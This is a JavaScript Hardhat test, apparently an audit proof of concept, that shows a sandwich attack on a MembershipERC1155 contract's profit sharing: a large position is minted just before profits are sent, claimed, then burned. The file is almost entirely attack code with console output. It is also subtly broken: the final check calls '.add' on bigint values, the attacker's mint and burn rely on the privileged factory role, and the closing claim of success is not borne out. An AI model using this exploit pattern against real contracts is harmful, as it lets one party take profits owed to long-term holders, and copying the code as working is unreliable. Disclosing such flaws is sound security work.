const { loadFixture, time } = require("@nomicfoundation/hardhat-toolbox/network-helpers");
const { expect } = require("chai");
const profitAmount = ethers.parseUnits("1000", 18);
const initialMintAmount = ethers.parseUnits("100", 18);
const attackerMintAmount = ethers.parseUnits("10000", 18);
describe("MembershipERC1155 Sandwich Attack", function () {
async function deployFixture() {
const [owner, factory, alice, bob, attacker] = await ethers.getSigners();
const Token = await ethers.getContractFactory("Token");
const token = await Token.deploy();
const Membership = await ethers.getContractFactory("MembershipERC1155");
const membership = await Membership.deploy();
await membership.initialize(
"Membership",
"MEM",
"ipfs://baseuri/",
owner.address,
await token.getAddress()
);
await membership.grantRole(await membership.OWP_FACTORY_ROLE(), factory.address);
await token.transfer(owner.address, profitAmount);
await token.approve(await membership.getAddress(), profitAmount);
return {
token,
membership,
owner,
factory,
alice,
bob,
attacker
};
}
describe("Sandwich Attack on Profit Distribution", function () {
it("should demonstrate the sandwich attack where attacker captures most profits", async function () {
const { token, membership, owner, factory, alice, bob, attacker } = await loadFixture(deployFixture);
await membership.connect(factory).mint(alice.address, 0, 100);
await membership.connect(factory).mint(bob.address, 0, 100);
console.log("Alice received 100 Level 0 tokens (weight: 6400)");
console.log("Bob received 100 Level 0 tokens (weight: 6400)");
expect(await membership.balanceOf(alice.address, 0)).to.equal(100);
expect(await membership.balanceOf(bob.address, 0)).to.equal(100);
await time.increase(30 * 24 * 60 * 60);
console.log("\nSimulated time passing of 1 month...");
await membership.connect(factory).mint(attacker.address, 0, 10000);
console.log("\nAttacker received 10000 Level 0 tokens (weight: 640000)");
const aliceShare = await membership.shareOf(alice.address);
const bobShare = await membership.shareOf(bob.address);
const attackerShare = await membership.shareOf(attacker.address);
const totalShares = aliceShare + bobShare + attackerShare;
console.log("\nShares before profit distribution:");
console.log(`Alice's share: ${aliceShare} (${(aliceShare * 100n) / totalShares}%)`);
console.log(`Bob's share: ${bobShare} (${(bobShare * 100n) / totalShares}%)`);
console.log(`Attacker's share: ${attackerShare} (${(attackerShare * 100n) / totalShares}%)`);
await membership.connect(owner).sendProfit(profitAmount);
console.log(`\nOwner distributed ${ethers.formatUnits(profitAmount, 18)} tokens as profit`);
await membership.connect(attacker).claimProfit();
await membership.connect(alice).claimProfit();
await membership.connect(bob).claimProfit();
const attackerProfit = await token.balanceOf(attacker.address);
const aliceProfit = await token.balanceOf(alice.address);
const bobProfit = await token.balanceOf(bob.address);
console.log("\nProfit Distribution Results:");
console.log(`Attacker claimed: ${ethers.formatUnits(attackerProfit, 18)} tokens`);
console.log(`Alice claimed: ${ethers.formatUnits(aliceProfit, 18)} tokens`);
console.log(`Bob claimed: ${ethers.formatUnits(bobProfit, 18)} tokens`);
await membership.connect(factory).burn(attacker.address, 0, 10000);
console.log("\nAttacker burned all tokens after claiming profit");
expect(attackerProfit).to.be.gt(aliceProfit.add(bobProfit));
console.log("\nAttack successful: Attacker received majority of profits through sandwich attack");
});
});
});
The output will show how the attacker captures most of the profit despite only holding tokens briefly, while long-term holders (Alice and Bob) receive minimal returns.